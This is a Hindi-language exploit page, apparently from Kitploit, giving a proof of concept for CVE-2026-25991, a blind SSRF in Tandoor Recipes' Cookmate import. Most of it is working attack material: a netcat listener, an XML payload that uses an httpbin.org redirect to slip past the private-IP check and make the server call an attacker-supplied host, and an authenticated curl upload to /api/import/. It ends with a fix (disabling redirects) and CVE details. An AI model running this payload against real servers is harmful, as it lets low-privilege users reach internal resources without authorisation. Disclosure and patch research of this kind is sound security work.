CVE-2026-25991 — CVE-2026-25991 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Tandoor Recipes के Cookmate इम्पोर्ट में एक ब्लाइंड SSRF है, जो प्रमाणित उपयोगकर्ताओं को आंतरिक संसाधनों तक पहुंचने की अनुमति देता है। | Kitploit

if validate_import_url(url):
    # CRITICAL: requests.get डिफ़ॉल्ट रूप से रीडायरेक्ट का अनुसरण करता है, प्रारंभिक जांच को बायपास करते हुए।
    response = requests.get(url) 
    self.import_recipe_image(recipe, BytesIO(response.content))

एक लिसनर सेट करें (हमलावर मशीन): एक टर्मिनल खोलें और आने वाले कनेक्शन सुनने के लिए nc शुरू करें। यह एक आंतरिक सेवा या हमलावर-नियंत्रित सर्वर का अनुकरण करता है।
```
nc -lvnp 9999
```
एक दुर्भावनापूर्ण XML पेलोड बनाएं: payload.xml नामक एक फ़ाइल बनाएं। <YOUR_IP> को अपने सार्वजनिक IP पते (या पहुंच योग्य IP) से बदलें। यह पेलोड प्रारंभिक निजी IP जांच को बायपास करने और आपके लिसनर पर रीडायरेक्ट करने के लिए httpbin.org का उपयोग करता है।
```
<recipes>
  <recipe>
    <title>SSRF_PoC</title>
    
    <imageurl>https://httpbin.org/redirect-to?url=http%3A%2F%2F<YOUR_IP>%3A9999%2Fsecret.txt</imageurl>
  </recipe>
</recipes>
```

एक ZIP संग्रह बनाएं: Tandoor को XML को ZIP फ़ाइल के अंदर होना आवश्यक है।
```
zip payload.zip payload.xml
```
एक्सप्लॉइट निष्पादित करें (API के माध्यम से): सत्र कुकी और CSRF टोकन प्राप्त करने के लिए मानक उपयोगकर्ता (व्यवस्थापक नहीं) के रूप में लॉग इन करें। फिर /api/import/ पर एक POST अनुरोध भेजें: (वास्तविक मानों के साथ <TARGET_URL>, <SESSION_ID>, <CSRF_TOKEN> बदलें)
```
curl -X POST 'http://<TARGET_URL>/api/import/' \
  -H 'Cookie: sessionid=<SESSION_ID>; csrftoken=<CSRF_TOKEN>' \
  -H 'X-CSRFToken: <CSRF_TOKEN>' \
  -F 'type=COOKMATE' \
  -F '[email protected]' \
  -F 'duplicates=true'
```

कनेक्शन सत्यापित करें: अपना लिसनर टर्मिनल (nc) जांचें। आपको Tandoor सर्वर से एक आने वाला HTTP GET अनुरोध दिखाई देगा। यह पुष्टि करता है कि सर्वर, एक मानक उपयोगकर्ता की ओर से कार्य करते हुए, एक मनमाने बाहरी/आंतरिक संसाधन से कनेक्ट हुआ है।
```
GET /secret.txt HTTP/1.1
Host: <YOUR_IP>:9999
User-Agent: python-requests/2.x.x
...
```

# cookbook/integration/cookmate.py

# विकल्प 1: रीडायरेक्ट अक्षम करें (अनुशंसित)
response = requests.get(url, allow_redirects=False)

# विकल्प 2: रीडायरेक्ट मान्य करें
# (निजी IP रेंज के विरुद्ध प्रत्येक रीडायरेक्ट हॉप की जांच करने के लिए जटिल तर्क आवश्यक है)

CVE ID	CVE-2026-25991
गंभीरता	🔴 उच्च
CVSS स्कोर	7.7
CVSS वेक्टर	[CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N]
CWE	CWE-918: सर्वर-साइड रिक्वेस्ट फोर्जरी (SSRF)
प्रभावित उत्पाद	Tandoor Recipes ≤ 2.5.0
पैच किया गया संस्करण	2.5.1
परामर्श	GHSA-j6xg-85mh-qqf7

CVE-2026-25991

सबसे लोकप्रिय

CVE-2026-25991: रेसिपी इम्पोर्ट के माध्यम से आंतरिक नेटवर्क एक्सेस के साथ ब्लाइंड SSRF

सारांश

विवरण

PoC (प्रूफ ऑफ कॉन्सेप्ट)

प्रभाव

उपचार